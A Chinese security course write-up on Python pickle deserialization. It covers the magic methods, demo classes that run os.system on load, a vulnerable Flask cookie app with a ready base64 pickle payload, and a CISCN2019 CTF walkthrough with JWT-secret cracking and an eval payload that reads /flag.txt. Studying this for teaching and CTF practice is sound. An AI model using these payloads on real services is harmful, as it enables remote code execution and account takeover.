当前位置: 首页 > news >正文

小迪安全48WEB 攻防-通用漏洞Py 反序列化链构造自动审计 bandit魔术方法

#知识点:

1Python-反序列化函数使用

2Python-反序列化魔术方法

3Python-反序列化 POP 链构造(payload构造)

4Python-自动化审计 bandit 使用

#前置知识:

函数使用:

pickle.dump(obj, file) : 将对象序列化后保存到文件

pickle.load(file) : 读取文件,将文件中的序列化内容反序列化为对象

pickle.dumps(obj) : 将对象序列化成字符串格式的字节流

pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象

魔术方法:

__reduce__() 反序列化时调用

__reduce_ex__() 反序列化时调用

__setstate__() 反序列化时调用

__getstate__() 序列化时调用

各类语言函数:

JavaSerializable Externalizable 接口、fastjsonjacksongson

ObjectInputStream.readObjectObjectInputStream.readUnshared

XMLDecoder.readObjectYaml.loadXStream.fromXML

ObjectMapper.readValueJSON.parseObject

PHPserialize()unserialize()

Pythonpickle marshal PyYAML shelve PIL unzip


Ø 原理-反序列化魔术方法-调用理解

Ø CTF-反序列化漏洞利用-构造&RCE

Ø CTF-CISCN2019 华北-JWT&反序列化

Ø 代码审计-自动化工具-bandit 安装及使用


#原理-反序列化魔术方法-调用理解

-魔术方法利用:

__reduce__() 反序列化时调用

__reduce_ex__() 反序列化时调用

__setstate__() 反序列化时调用

__getstate__() 序列化时调用

#反序列化魔术方法调用-__reduce__() __reduce_ex__() __setstate__()

具体代码:

class A(object):def __reduce__(self):print('反序列化调用')return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)

Pickle.dumps是序列化操作,pickle.loads是反序列化操作

# 构造 __setstate__ 方法

具体代码:

class SerializePerson():def __init__(self, name):#自启动方法self.name = name# 构造 __setstate__ 方法def __setstate__(self, name):os.system('calc')  # 恶意代码
tmp = pickle.dumps(SerializePerson('tom'))  #序列化
pickle.loads(tmp)  # 反序列化 此时会弹出计算器
print(tmp)

#序列化魔术方法调用-__getstate__

具体代码:

class A(object):def __getstate__(self):print('序列化调用')os.system('calc')
a = A()
p_a = pickle.dumps(a)
print('==========')
print(p_a)

#反序列化安全漏洞产生-DEMO

具体代码:

class A(object):def __init__(self, func, arg):self.func = funcself.arg = argprint('This is A')def __reduce__(self):print('反序列化调用')return (self.func, self.arg)
a = A(os.system, ('calc',))
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)

#CTF-反序列化漏洞利用-构造&RCE

环境介绍:利用python-flask搭建的web应用,获取当前用户的信息,进行展示,在获取用户的信息时,通过对用户数据进行反序列化获取导致的安全漏洞

具体环境代码:

import pickle
import base64
from flask import Flask, requestapp = Flask(__name__)@app.route("/")
def index():try:user = base64.b64decode(request.cookies.get('user'))user = pickle.loads(user)username = user["username"]except:username = "Guest"return "Hello %s" % usernameif __name__ == "__main__":app.run(host='192.168.101.1',port=5000,debug=True)

根据以上代码得知,它会接收Cookie值,传给user进行反序列化,也就是说我们可以在cookie上写入我们的pop链,同时需注意base64加密

Flag.py——pop链构造gASVHAAAAAAAAACMAm50lIwGc3lzdGVtlJOUjARjYWxjlIWUUpQu

通过bp,将user的序列化数据放到cookie中,成功执行命令

进行nc反弹:

本地监听端口

通过bp进行手动请求

也可以写入脚本自动请求

#CTF-CISCN2019 华北-JWT&反序列化

通过提示>寻找LV6 >购买修改支付逻辑>绕过admin限制需修改wt值- >爆破jwt密匙> 重组jwt值成为admin->购买进入会员中心>源码找到文件压缩源码> Python代码审计反序列化>构造读取flag代码进行序列化打印->提交获取
考点1: JWT身份验证攻击点:
https://www.cnblogs.com/vege/p/14468030.html
https://github.com/ck00004/c-jwt- -cracker

考点2: Python代码审计反序列化:
自动工具: https/lithub.com/PyCQA/bandit
参考资料: https /github .com/bit4woo/python_ sec
1. 获取LV6

写一个脚本

import requests,time
url="http://78a126d5-a835-4226-abe9-4a5fb6a79841.node4.buuoj.cn:81/shop?page="for i in range(0,2000):time.sleep(0.2)r=requests.get(url+str(i))if 'lv6.png' in r.text:print(i)breakelse:print(str(i)+'|no')

2.购买修改支付逻辑

修改表单

3.绕过admin限制需修改wt值

修改JWT

4.爆破jwt密匙c-jwt-cracker

5.重组jwt值成为admin

6.购买进入会员中心

7.源码找到文件压缩源码

下载文件www.zip

8.Python代码审计反序列化

直接查看特定函数——pickle.loads

得知会对值进行url解码,所以构造pop时需要考虑到这点

9.构造读取flag代码进行序列化打印

import pickle
import urllibclass payload(object):def __reduce__(self):return (eval, ("open('/flag.txt','r').read()",))a = pickle.dumps(payload())
a = urllib.quote(a)
print a

需要考虑对方的语言环境

确定对方语言版本:

  1. 看关键函数
  2. 查看print(如:python2的print不需要括号,python3需括号

10.提交获取

查询谁调用此对象

#代码审计-自动化工具-bandit 安装及使用

审计出漏洞地方

http://www.lryc.cn/news/326170.html

相关文章:

  • 微服务:解放软件开发的神器,引领企业级应用的未来(二)
  • easyexcel与vue配合下载excel
  • Vue.js 模板语法
  • 信号处理--基于DEAP数据集的情绪分类的典型深度学习模型构建
  • Spring设计模式-实战篇之模板方法模式
  • PTA天梯赛习题 L2-006 树的遍历
  • js相关的dom方法
  • Django——Ajax请求
  • 基于java多角色学生管理系统论文
  • python(django)之单一接口管理功能后台开发
  • 教程1_图像视频入门
  • MQTT.fx和MQTTX 链接ONENET物联网提示账户或者密码错误
  • Svn添加用户、添加用户组、配置项目权限等自动化配置脚本
  • Spring事务-两种开启事务管理的方式:基于注解的声明式事务管理、基于编程式的事务管理
  • OC 技术 苹果内购
  • 云原生周刊:Kubernetes v1.30 一瞥 | 2024.3.25
  • 2016年认证杯SPSSPRO杯数学建模D题(第一阶段)NBA是否有必要设立四分线解题全过程文档及程序
  • EdgeGallery开发指南
  • ubuntu arm qt 读取execl xls表格数据
  • STM32 使用gcc编译介绍
  • FPGA之组合逻辑与时序逻辑
  • git clone没有权限的解决方法
  • Redis 的内存回收策略
  • 小程序富文本图片宽度自适应
  • 安装redis时候修改过的配置文件
  • Stable Diffusion 本地部署教程
  • sql如何增加数据
  • 智慧交通(代码实现案例)
  • LeetCode 面试经典150题 205.同构字符串
  • 存内计算:释放潜能的黑科技